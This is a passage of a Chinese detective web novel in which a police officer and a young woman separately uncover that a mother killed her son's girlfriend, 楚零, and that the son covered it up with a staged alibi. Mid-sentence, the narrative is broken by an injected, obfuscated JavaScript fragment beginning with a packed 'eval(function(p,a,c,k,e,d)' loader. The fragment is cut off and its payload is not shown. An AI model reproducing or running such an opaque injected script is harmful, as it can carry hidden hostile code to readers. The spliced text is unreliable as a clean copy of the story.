人果然是越长大越讨厌。两三岁的孩子很可爱,四五岁的简直就是恶魔。他一直不理解,这个年纪的孩子明明精力充沛,乘公共交通时竟然还要给他们让座。往常遇到这样的情形,边何会有自己的想法。他只给安静的小孩让,至于那些把座椅当蹦床,或是拽着扶手荡秋千的,他选择视而不见。眼前的这个孩子可能就属于“视而不见”的那一类,这不是偏见,他坚信自己的判断。 耳边传来“砰”的一声,小孩踢了前排座椅靠背一脚。边何听到一个挺明显的吸气声,毫无疑问是来自前排的乘客。那是他的同事,一位不到三十岁的女警察。人民警察为人民,同事恪守信念,自然不会和小孩子计较。“砰”,很快又传来一声。 飞机于三十分钟后落地。 “终于到家啦。”不知是哪位乘客兴奋地喊了一嗓子。 不少乘客早早起身,拎着地方特产排队等着下飞机。再有几天就是春节,除了度假的游客,这趟航班的半数乘客要回家过年。耳边传来迫切、明快的聊天声,从表情上很容易判断谁是归乡的游子,就比如:坐在边何身后的男人。飞机落地后,男人的嘴角没有合拢过,眼底全是光。 一家欢喜一家愁,恐怕有人无法好好过年了,边何心想。自重新立案已过去将近一周。看过行车记录仪的录像后,他改变原有的侦查计划,终止所有问询工作。本周他几乎住在单位,重新理了一遍“楚零”一案的线索和证据。今天——也就是周五,他登上了这趟飞往崖州的航班。 此次出差,边何带的行李不多,与他一起出行的女同事更是只带了一个背包。下飞机后,他们换上轻便的短袖短裤,将羽绒服等厚重的衣物存放在机场。 走出机场,边何做了一次深呼吸,崖州明媚的阳光和咸咸的空气令他感到舒适。 上次到这座海岛出差是三年前,那会儿他刚大学毕业。当时崖州正举办国际警用装备博览会,他是和师父一起来的。除了了解新型的警用特种装备,师父带他参加了几场警察交流会。到场会议的不止是国内刑警,还有来自国际刑警组织的海外同僚。 临回燕京的前一晚,边何与师父各举着一罐啤酒,面朝大海,在沙滩上席地而坐。海浪不知疲倦的拍打岸边,节奏明快,大海也因此多了几分活力。 “算是见过世面了。不过相较于大场面,我还是喜欢满是烟火气的市井环境。” “这样啊。” “您会不会觉得我没出息?” “不会。” “明明就是会。” “为什么这么说?” “话都变少了。您是不是在想,早知道不带这小子出来了,瞎耽误工夫。” 可能是徒弟的语气有些诙谐,他的师父“咯咯咯”地笑了起来,然后喝了一大口酒。“小边,我是在想你师父的师父。” “您师父?”边何第一次听对方提起。 “对,也是我的领导。多年前,他在执行海外任务时牺牲了,消失在大海上。” “啊……”边何扭头。路灯远在几十米开外,微弱的光亮不足以让他看清师父的表情。 “你和他很像,他和你说过相似的话。” “真的啊。” “真的。他说破获跨国的重案要案很有成就感,但那种成就感转瞬即逝。只有当解救差点被拐跑的孩子,或者抓住偷窃惯犯,看见平凡的人们转危为安时喜悦的笑容,他才能真正的体会到做警察的意义。帮助更多的普通人、维持基本的公平正义、保护多数人的善良,与成就感不同的是,这些会让他感到幸福。” 就是这样,师公说的没错。边何举起啤酒,与师父碰了碰。当时,他看向深邃的大海,一口气喝下半罐。 “热死了。”同事抱怨的声音打断了边何的思绪。 确实很热,边何也是这么认为的。五个小时前,他们还在0度左右的北方。现在可好,外面艳阳高照,晴朗无云,气温大概是三十度左右。 当地警方安排了车辆来接他们。时间紧任务急,他们没有与对方过多寒暄,上车直奔目的地。车辆行驶在滨海大道上,车窗外是笔直的椰树 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正值旅游旺季,身着泳装的游客穿梭在沙滩与小区间的人行道上,多是拖家带口。毫无疑问,谁也阻止不了小孩对大海的热情。在沙滩上搭建一座漂亮的城堡,挖一条四通八达的隧道,或者将自己埋在沙子里,孩子们从海边获得的快乐远比成人要多的多。 飞机上的小孩也是来度假的吧,要是能不小心踩塌他的城堡就好了。边何站在人行横道的一端,微微提起嘴角。绿灯了,他朝迎面走来的小朋友们笑了笑。他们穿着卡通连体泳装,一本正经地拉着玩具卡车和铲子,等会儿应该是有个大工程。 过马路来到小区这边,边何与女同事进到一家粉面小吃店,在靠窗的位置落座。 他用手机扫了桌角的二维码。“人去农贸市场了,咱们等等吧。” “嗯,人家说的时候我也在,听见了。”人家指的是当地警方。 “哈哈,吃什么?我请客。” “抱罗粉,谢谢啦。” “客气。” 边何点了两碗粉、两份清补凉和一盘白切文昌鸡,并且提前付了款。不到五分钟,一位身材瘦小的服务员将所有餐食端了上来。飞机餐不好吃,两人早就饿了。他们一边狼吞虎咽,一边盯着外面。就在二人不动声色为最后一块鸡肉博弈的时候,目标人物出现了。 目标人物衣着朴素,上身穿了一件红色碎花衬衫,下身是黑色纯棉长裤。对方拉着买菜常用的小车,车上的帆布袋被瓜果蔬菜撑得裂开了,半颗大白菜露在外面,看上去是买了不少东西。边何放下筷子,递给同事一个眼神。两人起身,离开小吃店,快步向对方靠近。 “顾晓兰。”边何叫道。 只听“咯吱”一声,小车车身一沉,停在原地。被叫作顾晓兰的女人看上去不到一米六,身材偏瘦,两鬓已有些斑白,脸上布满皱纹。若不是事先了解过,边何会以为对方年近六十。事实是,顾晓兰今年不过五十岁。 单亲妈妈要承担的会更多吧,边何望着那张与实际年龄不符的脸,不禁心想。 “买这么多东西是为了过年吗?”他问。 “你们是?”顾晓兰露出一个防备的眼神,没有回答他的问题。对方身体稍向后倾,眉间的褶皱更深了。 “警察。”同事是个雷厉风行的人。她向顾晓兰出示证件,语气十分严肃。“我们有点事要问你,请你配合。” 顾晓兰的眼神变了,眼角皱纹渐渐撑开,目光惊恐。 边何挠挠脖颈,假意咳嗽一声。事先明明说好的,为了顺利解决案子,不要用过于严厉的方式进行问询工作。他瞅了一眼同事,对方不耐烦地撇撇嘴,将话语权还给了他。 “可以聊聊吗?”边何将视线转到顾晓兰身上。 顾晓兰张了张嘴,挤出几个字。“聊什么?” “聊聊你的儿子顾锵然——”不对,不该这么说。他露出一个同情的眼神,但不是给对方的,而是仰头交给天空。“我们聊聊楚零吧。” 26. 羽绒服6 临近春节,燕京的大街小巷挂起红灯笼和中国结。路面的车变少了,只有火车站附近略显拥堵。不少打工人已离开这座城市,返回千里之外的家乡。 “红寺站到了,请您带好随身物品准备下车。” 头顶传来报站声,叶微瑄深吸一口气,起身。这个日子口,连地铁都没什么人了。 【小瑄,我明天就回老家了。今天能不能见一面?】 不看头像也知道是谁的消息。叶微瑄走出地铁,不假思索地拒绝马暗尘。她拉动屏幕,五天没联系了,与边何的对话框沉到很下面,来回来去的找了一会儿,发现对方换了头像。 她饶有兴致地点开头像。绿莹莹的叶子落于清澈的河面,被洁净的水珠包围,引起一片涟漪。 不如改名叫“宁静致远”、“悠然岁月”、“荷塘月色”之类的,叶微瑄帮边何想了几个昵称,暗自发笑。头像的喻义不难猜,她明白边何的心意,只是她现在没有心情考虑感情的事。要与过去做个了断,这是她的决心,也是当下在做的事。 周一给顾锵然发过消息后,对方第二天才回复她。两人约在周六中午见面,也就是今天。顾锵然说正好有件关于楚零的事要办,如果楚零生前最好的朋友在,就最好不过了。对方没说具体是什么事,只说她来了就知道了。 从地铁C口出来后,叶微瑄按导航指示穿过商业街,沿着几间门脸房走了五分钟,在一面灰色的外墙上看见“红寺胡同”的标识牌。她拐进胡同,胡同内的世界远比外面繁华的商业都市热闹许多。 一位老太太迎着她走来,脸上喜气洋洋的,可能有八十多岁,步履却十分矫健。虽然不认识叶微瑄,但对方还是和她热情地打了招呼。“重孙女要回来咯。”老太太激动地念叨,“仨呢,在国外上学。” “妈,今儿风大,您戴上帽子,慢点儿走。她们还没下机场高速,别着急。”六十多岁的女人举着毛线帽追在老太太身后,像是对方的女儿。 虽有炫耀的成分,但不招人讨厌。叶微瑄笑着看向老年母女,心情比来时好了许多。 “小瑄。”顾锵然的声音从不远处传来。她抬起头,对方正站在四合院的门口挥手。顾锵然怕她认错门,专门出来接她。叶微瑄加快步伐,朝对方走去。 “来过胡同的四合院吗?”顾锵然在前面引路。 “没有。你要不出来接我,我可能就找错了。”叶微瑄说的是实话。四合院里住着好几家,过年装饰多,门牌号几乎都被挡住了。这哪分的清啊,她拨开挡在面前的灯笼穗,小心翼翼地挪动脚步。只要稍不留意,就有可能踩到别人家的锅碗瓢盆。 “有点乱,别介意,胡同就是这样。也有独门独院的大户,刚才那俩老太太家就是,她家邻居也是。” “是有点乱。你就没想着买房子搬出去吗?” “以前想过,现在就算了吧。”顾锵然无奈地笑笑,“再说也没钱。”他推开家门,做了一个“请”的手势。“胡同也有胡同的好处,热闹。逢年过节,那几个大户人家总是门庭若市。小时候我妈会带我去老太太家拜年,人家会给我红包。现在想想,挺不好意思的。” 叶微瑄走进顾锵然家。虽是大北房,屋内却很温暖,供暖效果强于她住的“老破小”。“羽绒服可以挂这里吗?”她站在衣架旁。上面空荡荡的,只有一件大号冲锋衣。 “当然。你先坐,我去给你沏茶。”顾锵然脱掉外套,走向后院,“我点过外卖了,半个小时就到。咱们吃烤鸭。” 叶微瑄说了句“好”,在餐桌旁落座。与屋外杂乱的四合院完全不同,顾锵然家很干净。台面、地面一尘不染,对方可能提前打扫过。 有长辈的家里通常会堆满东西。这或许是刻板印象,但叶微瑄就是这么认为的,父母家就是。丘静和叶建文目前住的房子大概一百平米左右,除了可供行走的少量面积外,哪哪都是杂物,连饭桌下方都塞着几袋大米。大米为什么会放客厅?因为厨房没有地方了,大部分空间被常年不用的厨具占据着。 “不用的东西就卖掉或者扔了。” “谁说不用的。”这话可能来自丘静,也可能是叶建文。锅不能扔,要用;那个木案板挺好的,扔了多可惜;椅子是纯木的,现在可不好买。叶微瑄听到过各种拒绝的理由,只是她发现,那些东西的用途只存在于父母的口中。说到底,也没见对方用过。 相较之下,顾锵然家则不太一样。 顾阿姨不回家过年吗?叶微瑄好奇地环视四周,若不是知道顾锵然与母亲同住,她就要觉得这是位爱整洁的单身汉的家了。 目光落在靠近沙发的角落,一个贴着胶布的中型纸箱吸引她的注意。爸妈家的地上也有很多类似的箱子,不过没这个大,放的多是年久失修的电器,比如:二十年前用的音响。 估计也是被淘汰的东西吧,叶微瑄没有多想。 “工作有找落了吗?”顾锵然端着一壶热红茶进来了,壶嘴冒着热气,“我听涂涂说,你对一家新能源公司感兴趣,完成三轮面试了。” 涂涂这家伙的嘴是真快啊。叶微瑄用小拇指挠了挠眉毛,不知该如何回答对方。 收到面试合格通知是周三的事,叶微瑄本以为那是一份Offer。 “还有些基本信息需要确认。”人力在电话中是这么说的,“虽然之前问过一次,但还是想问问,你有男朋友吗?近期是否有结婚的打算?” 法律禁止公司面试时询问面试者的婚育情况,可现实是现实,只有少数人会选择举报。叶微瑄面试很多公司了,几乎每一家都会问。她没有“少数人”的魄力,答案已接近标准化。“没有男朋友,更没有结婚计划。目前阶段,好的职业发展与我而言更重要。” 当时,人力满意地“嗯”了一声。只是人力的下个问题令叶微瑄感到惊诧。“市场部员工的应酬比较多,能接受吗?” 她明白对方的意思。“我面的是新媒体运营岗,也需要应酬吗?” “免不了接触线上平台的人,从而获取更多的流量。” “哦,这样啊,我有点内向,不过……应该没问题。” “性格是可以练的。好了,我这边基本没问题了。总经理和市场总监都很看好你,公司欢迎你的到来。”人力的言语中带着温柔的信服力。 挂断电话后,叶微瑄很快收到Offer。弹性工作制、薪资高于应届生平均水平,员工福利也是行业领先,这是一份让人无法拒绝的Offer。然而,令新能源公司没想到,更令叶微瑄自己没想到的是,一晚过后她婉拒了这份Offer,理由简单明了——酒量不好。 “啊……”顾锵然听完叶微瑄的叙述,从喉咙深处发出一个颇为遗憾的感叹声,“竟然是这样的理由吗?” “凭女人的直觉,我觉得他们会要求我做出格的事。做不到就是做不到,现在拒绝对谁都好。” “找工作可不能凭直觉啊。”——顾锵然没有这么说,但叶微瑄从对方盯着茶杯的目光中看到了大致的意思。“话说……”她歪着脑袋看顾锵然,“你怎么会从陶涂涂那里知道我的事?你俩会私聊?” 陶涂涂豪放的性格是顾锵然避之不及的,是对方绝对无法接受的女朋友类型,反之也一样。叶微瑄曾认为顾锵然有意避免楚零与陶涂涂单独相处,即使大家都是朋友。 “是我主动找她的。” 更意外了。“找她做什么?” “我不是说有件关于零零的事还没有完成么,我想着既然你要来,不如就叫上涂涂和暗尘一起,所以给他们打了电话。” “他们人呢?” “拒绝我了。涂涂说她辞职了,年前得完成工作交接。暗尘今天白天要主持小型年会。他明天回老家,晚上得收拾行李。那小子太忙,为了挣钱接了很多不属于自己的工作,我最近都没怎么见着他。” “会为了我们的未来努力。”——这是马暗尘在叶微瑄面前发过的誓。叶微瑄皱起眉毛,鼻头微酸。她垂下脑袋,端起茶杯试图压抑欲生事端的情绪。 “你和他们聊过零零吗?” “没有。不知为何……”顾锵然的表情有些犹豫,“我总觉得他们对与零零有关的话题避之不及。或许,他们是怕我难过。” “可能吧。” “就不强求了。再说了,对于他们来说,零零已成为过去。警察最近也没找过我。一个道理,零零的案子不过是那些警察经手的案件之一,一份工作而已。” “这么说也对,人总要朝前看,往前走。” “你是这么认为的?” “不是吗?” “你能这么想就太好了。我本来是有些担心的,因为接下来要做的事可能会让你觉得我自私。” 顾锵然轻抚老款茶杯的图案,是那种没有细节的蓝色条纹。他的表情像是在下决心。“你看见了吧?我家很干净,是我特地收拾的。明天我会去崖州找我妈,我们会在那边过春节。在此之前,我想我该和他们一样。” 对方口中的“他们”指的是马暗尘、陶涂涂和警察,叶微瑄心中了然,不发一语地抿了口热红茶。茶叶质量一般,又苦又涩。 “年前发生的事就留在年前吧。我收拾了家,也收拾了零零这些年送我的礼物。人不在了,那些东西也失去了意义。我和那位热心的警察说过,这些礼物会有一个属于它们的去处。” 叶微瑄心里一沉,顺着对方的视线看向沙发旁的角落。原来箱子里装的是楚零送给顾锵然的礼物。她下意识地看向门口鞋柜,看来那两双被视若珍宝的篮球鞋也被装了进去。 “你打算怎么处理?烧掉它们吗?”她用手抵住下巴,尽量让自己的声音显得正常。换作是她,她可舍不得。 “不,烧掉就太残忍了。” 叶微瑄在心里长舒一口气。“那你打算怎么办?” “埋掉。” “啊?” “埋在我家后院。我挖了坑,你要看看吗?” 顾锵然一时半会儿不会搬家,将已故女友送的礼物埋在自家后院不失为一种好的保存方式。叶微瑄瞥了一眼顾锵然,对方嘴角上扬,似乎为这个想法感到得意。她点点头。她也想去后院看看,但不是为了那个埋存记忆的坑。她要验证心中的猜测,这个猜测折磨她一周了。 “披上点儿。”顾锵然从衣架上取下叶微瑄的羽绒服。叶微瑄道了一声“谢谢”,二人前往后院。 用来埋箱子的土坑靠近院墙,在几盆植物的中间。坑不深,刚好够放一个中等型号的纸箱。若是有朝一日想挖出来,想必也是十分容易。 那不是冬青果么。叶微瑄上前查看,土坑周围有一圈新鲜的泥土,数颗冬青果被泥土掩埋。暖阳当空,即使只是露个边,那抹鲜艳的红色也显得十分耀眼。 “果子掉了呀。” “搬的时候不小心弄得。冬青果很脆弱,稍不留意就会掉落。”顾锵然轻轻拍打一旁的植株,几颗红色小果配合地脱离枝干,滚落到地上。“看吧。” “零零喜欢冬青。她说冬青虽是平凡——” “却是耀眼。” “咯咯咯”,两人因共同的回忆相视而笑。 “等会儿就把这些掉落的果实和礼物一起埋了吧。”顾锵然说。 最好不过了,叶微瑄点头。 “走吧,我们回屋。” “稍等。” 她看向顾锵然身后的墙体。墙上钉着几个十分结实的铁钩,高度与她齐平。她径直走过去,摸了摸铁钩,又看向对面的院墙。同样的,那里也有几个相同大小的钩子。 她的心脏不再安分,“怦怦怦”地捶打胸口,像是要冲出来。“这些钩子是干嘛的?”她问。 “挂些杂七杂八的东西。怎么了?” “没什么,就是问问。” “回屋吧,外面怪冷的。等吃完饭,咱们就埋箱子。” 二人回到屋内。叶微瑄脱掉羽绒服,顾锵然伸手去接,她却没有递给对方。羽绒服很厚实,抱着能让她感到安全。“锵然,我有个不情之请。” “你说,咱们这么好的关系别客气。”对方笑道。 “我能看看零零送过你的礼物吗?” 顾锵然的笑容僵住了。他咽了下口水,走到沙发旁,手搭在箱子上。“小瑄,我不是不想让你看,只是已经封箱了。既然封上了,就不要打开了。做这样的决定很不容易,每放进一样东西,我都会产生一次动摇。要不要埋掉它们?埋掉那些美好的记忆。这感觉很痛苦,希望你能理解。” “抱歉,是我草率了。” “你知道的,零零送我的新篮球鞋我几乎没怎么穿过。我很后悔,应该顺从她的心意多穿穿。她买这双鞋的时候一定很高兴,是我辜负了她。” 说这些有什么用……叶微瑄的心情很复杂,“不看就不看吧,你确定零零送你的礼物都被装进箱子里了吗?” 顾锵然露出一个迷惘的神色,表情似乎在说:“这还用问?” “零零送过你那么多的礼物,不会落一两样吗?” “应该没有……啊!对了,相册。” “相册?” “得亏你的提醒。”顾锵然起身走到电视附近,拉开电视柜最左侧的抽屉,几本相册整齐的摞在一起。“我和零零拍过情侣照,而且洗出来了。我俩都很喜欢这样的方式,觉得拿在手里的照片能让回忆更加真实,所以互相送了相册。” 他取出摞在上面的几本相册,看着有年头了,铜版纸印刷的封皮,质地光滑,浅色的表面微微泛黄。这些老相册和楚零无关。他将老相册放到一旁,从最下面翻出一本风格完全不同的相册。相册封面是蓝灰色的布纹纸,印有精致的小黄花。 叶微瑄抱着羽绒服坐到顾锵然身边,看对方翻开相册。 相册中的每张照片都标有日期,是顾锵然的字迹。前两页的照片拍自几年前,那会儿他和楚零刚在一起。照片上,两人身着蓝色运动校服,手牵手走在校园里。 “是零零的主意。”顾锵然轻抚照片中楚零的脸,“她说她想弥补没有早恋的遗憾。” “真的啊?”看见楚零甜美的笑容,叶微瑄的心情稍微轻松点了,“看来零零也有颗叛逆的心。” “没错。零零说她从小到大都很乖,有时会因此感到烦恼。其实我俩这方面很像。如果有机会,真想做些疯狂的事啊。” “比如呢?” “说了你可别笑。去年十月,我和零零商量着把她的直属领导揍一顿。” 确实该揍,叶微瑄的嘴角不自觉地上翘。 “你再看这张……”顾锵然指着一张艺术照。他和楚零身着肥大的西装,打扮的十分浮夸。“这是我的主意。本想拍个精英风格的情侣照,却由于没有像样的衣服垮掉了。”他自顾自地笑道,“这套艺术照全在我这,零零觉得辣眼睛,一张不留。” 叶微瑄对这件事有点印象。好像是大三的某一天,楚零气呼呼的到宿舍找她,说被便宜的照相馆坑了,拍出来的照片就像90年代的街头古惑仔。楚零很少生气,那是叶微瑄印象中为数不多的一次。 “后来我们又去补拍了,换的唐装。”顾锵然以不变的节奏翻着相册,越往后日期越近。毕业前,他和楚零在大学校园也拍了一组情侣照,穿的是便装。 翻着翻着,他忽然停下手中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这是什么?叶微瑄停下手中的动作,耳边出现微弱的蜂鸣声。 眼前的照片拍摄于四五年前的春天,那年流感十分严重,几乎人人戴口罩。照片中,顾锵然拉着行李箱与母亲站在火车站前,两人都戴着口罩。顾锵然在笑,他的母亲却没有。 叶微瑄举起相册,目光落在顾母微皱的眉宇间。突然,一道白光从大脑中闪过,她似乎想起什么。不会吧!她咽了一下口水,后脊骨感到阵阵寒意,耳边的蜂鸣声越来越大。 她对“凶手”有过猜测,但她好像猜错了! 手机呢?她意识到什么,放下相册,慌慌张张地拍打羽绒服。去哪了?为什么想用的时候总是找不到!她焦躁地抖了抖羽绒服,只听“咣当”一声,手机掉到地上。她慌忙捡起来,手在微微颤抖。 “小瑄?”顾锵然抬起头,木讷地盯着她,眼睛发红。 “手机不小心掉了。”叶微瑄用手扇着空气,寒意过后的燥热更令人感到不安,“那个……”话到嘴边,声音却被吞掉了。她垂着脑袋,躲避对方的目光,她感觉自己的表情都不是很自然了。 “外卖!”外卖来的非常及时。 叶微瑄和顾锵然双双扭头。外卖员举起手中的袋子,正透过窗户朝他们笑。 “来了。”顾锵然说着起身,朝门口走去。 叶微瑄长舒一口气。她背对门口,点开手机相册。她没有清理相册的习惯,所以很快看见了要找的照片。照片是几周前拍的,她看着那张照片,想哭又想笑。怎么就没发现啊!真相就在身边,她好蠢啊。 “小瑄,别坐地上了。先吃饭吧。相册就不装箱了,等会儿直接埋掉。”顾锵然把外卖放到桌上。外卖没有精致的包装,而是装在十分常见的塑料袋里,连品牌名称都没有。“我点的这家鸭子你应该听说过。” 他解开其中一个塑料袋,取出餐盒。餐盒中的黄瓜丝切得并不平整,粗细不一,葱丝看着也很糊弄,甜面酱是用一次性食品袋装的。但顾锵然说的没错,这是一家颇有名气的烤鸭店,藏在胡同深处却广为人知。不少食客慕名前来,门口总是坐满了人。 “很久没去店里吃过了,排不上号。”他没什么语气地介绍着,就像是被迫的一样,“而且他家服务态度很差,可以说是没服务。但是没辙,他家鸭子是真好吃,鸭皮脆而不腻,所以才能这么任性吧。” 可能是想转移注意力,忘掉相册的内容,即使叶微瑄没有回应他,顾锵然也一个劲地聊着有关鸭子的话题。直到摆好所有餐盒,他才意识到叶微瑄依然坐在电视柜前的地上。 “小瑄?” 或许没有那么难,叶微瑄告诉自己。她抬起头,顾锵然已站到她的身边。对方紧锁眉头,与她的目光迎面相撞。 “你怎么了?”顾锵然问。 叶微瑄摇摇头,看着对方的眼睛说:“自零零出事,我一直想问你,你觉得零零是自杀吗?” “啊?” “我刚才可能说错了。哦,也不是完全错。”她伸出手,指向角落的箱子,“我本想说你落了一样东西。但那样东西不在你手里,你也没办法。现在我想说的是,或许那个箱子装的不全是零零送你的礼物。也就是说,箱子里不止少了一样东西,还多了一样。” 听叶微瑄这么说,顾锵然瞬时面色煞白。 “看来我猜对了。我猜,箱子里多的东西和少的东西都与零零的死有关系。在这里,我要先和你说声对不起。就在几分钟前,我还以为是你害死了零零。我好蠢啊,怎么可能是你。若是你做的,有的事看上去就多此一举,所以不是你。我真笨,我不该怀疑你。” 叶微瑄懊恼地抓了一下头发。同时,她也很难过。心脏像是被马蜂叮了,针扎似得疼。揭开真相无疑会伤害眼前的男人。他还能接受更多的失去吗?不能吧,叶微瑄心中早已有了答案。若是能,案子也不至于拖到现在。 她的目光始终落在顾锵然的脸上,对方大概是被突如其来的问话吓到了,嘴角在微微抖动。叶微瑄了解自己的朋友,对方可能在想:关于楚零的死,她究竟知道多少。她不打算给顾锵然思考的时间。那张苍白的脸上已露出犹豫的神色,而犹豫正是撒谎的先兆。 “锵然,零零身上发生的事是由我来说,还是你来说?你比谁都清楚,她根本没有自杀,也不会自杀。她死于谋杀。”她鼓足勇气,在“谋杀”两个字上加了重音。 空气凝住了。窗外北风呼啸,屋檐上的防雨棚被刮的“咔啦咔啦”作响。屋内一片死寂。 “要我来说?”她催问对方。 逐渐加重的呼吸声从头顶传来。不知过了多久,一声长叹打破僵持的氛围,二人间的空气如同冰渣一般碎掉了。 “谁说结果不都一样么。” “一样?”叶微瑄轻声反问顾锵然。她可不这么认为,不然她今天就不会来了。 顾锵然自嘲般地哼了一声,走到角落,拉出箱子。壁纸刀和胶布在窗台上,封箱时用过。“早知是这样,我又何必折腾。”他跪在地上,一刀划开纸箱,如同泄愤一般。 叶微瑄站起身。两双篮球鞋被置于箱子的最上层,可以推测,是顾锵然最后放进去的,足以证明对方的不舍。篮球鞋的下方塞着腰带、杯子、领带、笔记本等恋人间常送的礼物。 顾锵然一件一件地取出礼物,黯淡的眼眸散发出虚弱的光。叶微瑄沉默不语地站在旁边,舔了舔嘴唇,很苦,就像不小心嚼到莲子心。 很快,顾锵然取出箱子里的最后一样东西。“多的东西……”他仰面看向天花板,嘴角抖了一下,笑容绝望,“你指的是这件羽绒服吧?” 叶微瑄的心彻底沉到谷底。“是。”她说。 28. 冬青2 年前不堵车,十几分钟后车辆抵达刑警支队。小刘将叶微瑄领到一间不到十平米的接待室,让她耐心等待。期间有年轻的刑警进房间送过水,之后就再也无人来过。房间空旷而安静,墙上的时钟嘀嗒作响,秒针不知疲倦地奔走着。可能也就走了200圈吧,门“咯吱”一下开了。 “久等了。”沉稳的声音出现在叶微瑄耳边。她回头,小刘跟在边何后面,探着脑袋露出一副熟络的模样。 “我都听小刘说了。”边何笑着坐到叶微瑄对面,小刘坐在他旁边,“很精彩的推理,与事实基本相符。” 精彩也只是事后诸葛罢了,叶微瑄叹口气。“你怎么知道凶手是顾晓兰?”她迫切地问出心中不解,即使对方可能不会告诉她。 边何耸耸肩,思忖着怎么开口。“只能说多行不义必自毙。人的欲望是无限的,就连作恶也一样。”他意味深长地笑了笑,划开办案用的平板电脑,注视着上面的调查记录。 和叶微瑄一样,边何最初的怀疑对象也是顾锵然。只是他比叶微瑄更早一步的转移了目标。这要从楚零遭遇的客诉说起。边何熬夜调查手机号的持有人,对方一条不起眼的履历引起他的注意。持有人出国前曾就读于一所国际学校,反复确认后,正是顾晓兰任职的学校。 “没收了学生的手机,却没有还给人家,这可不是老师应有的行为。”昨日在顾晓兰崖州的临时住处,边何省去无谓的开场白,直截了当地说道,“不仅没有还给学生,还用对方的手机号进行恶意投诉。” 他的语气算不上严厉,只能说是平淡。顾晓兰没有辩解,低头并不看他。大概是听出边何语气的自信,又或者是做贼心虚,她选择闭口不言。或许只有沉默的坐着才能帮顾晓兰躲过一劫,虽然这希望十分渺茫。 “我向顾锵然、楚零的几位共同朋友了解过,你不同意二人交往。其实可以理解,做母亲的希望孩子找家世好的另一半共度余生,这样可以少走很多弯路。想必你也是抱着这样的心理才做出阻拦的行为。但我不理解的是,仅仅是因为‘不满意’就要杀掉对方吗?” 顾晓兰身体一僵,双手紧紧地抓着裤子。“我不知道你在说什么。”她用几乎只有自己能听见的声音说,并咽了一口唾沫。否认的声音在空气中颤抖,她脸色铁青,看上去快要窒息了。 否认是意料之中的事,边何从容地拍拍双腿。“顾晓兰,你去过楚零家吗?请你如实回答。” 对方没有作声。 “我换个问法吧……”他说了一个日期,“楚零遇害的当晚,你在哪?” 顾晓兰仍然紧闭嘴巴,即使她的身体已开始微微抖动。 “你的儿子——顾锵然,曾向警方说那晚你们在家,没出门。邻居大爷证明了这件事。他说晚上九点左右,听见你在四合院内叨叨顾锵然,埋怨他不会刷鞋。是这样吗?” 顾晓兰的嘴缓缓蠕动,答了一句“是”,只是很含糊。 “这样啊。”边何用平板电脑调出行车记录仪的视频记录,并在顾晓兰面前点了“播放”键。画面中,顾晓兰正拎着运动卖场的购物袋前往楚零家所在的单元门。画面外,她的身体几乎是瞬间剧烈地抖动起来。 “真是不巧,刚好有辆车拍到你了。更不巧的是,我们接着调查了胡同附近的摄像头。在稍晚的21:25,你被胡同拐角处的摄像头拍到了,手里依然拎着这个袋子。袋子里装的是羽绒服吧,是楚零送给你的。我猜你是想还给对方,但不知出于什么原因把对方杀了。你担心羽绒服留在现场会引起怀疑,于是又带回了家。正是基于此,楚零不会是在你走后自杀的,不然你没必要把想还给对方的东西再带走。” 顾晓兰张了张嘴,可能是想辩解,但边何没有给她机会。“千万别和我说,你是良心发现,突然接受楚零的好意。若真是那样,你又何必撒谎呢?也别和我说是怕摊上事才撒谎的,毕竟你害得邻居大爷都跟着‘撒谎’了。对方恐怕是无意的,但你可是故意的。不过,等会儿我们再说这件事。” 他好像什么都知道了——顾晓兰用沉默表达了这句话。 “赶紧交代。”女同事插了一嘴。她皱着眉毛,将“麻烦”两字写在脸上。为了排查胡同附近的摄像头,她整整一周都在加班。顾晓兰回家没有走常规路线,捂得又严实,给她的排查工作增加不少难度。 “顾晓兰,没有证据我们是不会找你的。你和顾锵然为什么要撒谎?做了什么你自己清楚,别再做无谓的挣扎了,请配合我们的工作。”说完,她递给边何一个眼色。 边何会意。“我要明确一件事,这桩案子是熟人作案。楚零身上没有外来伤痕,说明她没有挣扎过,或者说是没来得及挣扎,所以不存在放陌生人进门的可能性。大晚上能让楚零请进家门的人屈指可数。我们一开始围绕着她的朋友调查,以及运动卖场的前店长,却把你给忘了。想想也是,她最不能拒绝的就是你。” 空气中弥漫着汗液的味道,并且越来越重。 “我很好奇。”边何看向天花板,状似思考,“案发那晚,你是20:20进的楚零家。你儿子在21:00左右给楚零打过电话,通话时间长达15分钟。那会儿楚零还活着吗?” “大概率已经遇害了吧。”他自问自答道,“从时间判断,如果那会儿你没有动手,恐怕就无法在21:25赶回胡同了。” 为了验证这件事,边何连续几晚开车往返于案发小区和胡同。在一路畅通的情况下,往返至少需要20分钟,说明顾晓兰不可能在21:15以后杀害楚零。 所以,顾晓兰是在21:00之前杀害的楚零。得出这个推断时,边何浑身的汗毛都竖了起来。但是,令他感到害怕的不是顾晓兰,而是对方的儿子——顾锵然。 “谎言往往是用来隐瞒真相的。但有时,它也会揭示真相。”他再度开口,“顾锵然不仅隐瞒你去楚零家的事实,还帮忙做了伪证。他确实给楚零打过电话,但那时楚零根本没有能力接电话。那么是谁接的电话呢?答案只有一个。” “话都说到这了,你还不承认吗?”女同事逼问道。 “不承认也没关系。我来告诉你发生了什么。晚上20:20,你去了楚零家,不知是什么原因,你杀了对方。在这里,我姑且相信你不是蓄谋已久,不然你不会带着那件羽绒服往返。杀害楚零后,你看到顾锵然给楚零打了电话,于是你接了。” 边何顿了顿,不是在等顾晓兰的反馈,而是觉得真相太过于残酷。“你告诉顾锵然,你把楚零杀了。顾锵然没有选择报警,而是让你立刻离开。他没有挂断电话,是在为你争取时间。不得不说,他可真是一个好儿子。” 听到这里,顾晓兰抬起头,露出一个奇怪的表情,五官扭作一团。 “到家后,你和顾锵然演了一出戏。你故意在四合院内埋怨儿子,并刻意强调时间。顾锵然也适时地走到院子里,回应你的埋怨。根据监控时间判断,那时已过九点半,但你故意强调‘九点’这个时间点。九点和九点半差不了多少,时间记忆本就容易模糊,导致邻居大爷以为当时是九点。这就是刚才我为什么说你害大爷也撒了谎。我说的没错吧?”边何一口气说完,“当然,更多的细节还是由你来告诉我比较好。” “如此说来,顾锵然的问题也很严重。”女同事摆出一副闲聊的姿态,“本来没他事,可若推测属实,他就属于共犯。” “看样子是的。” 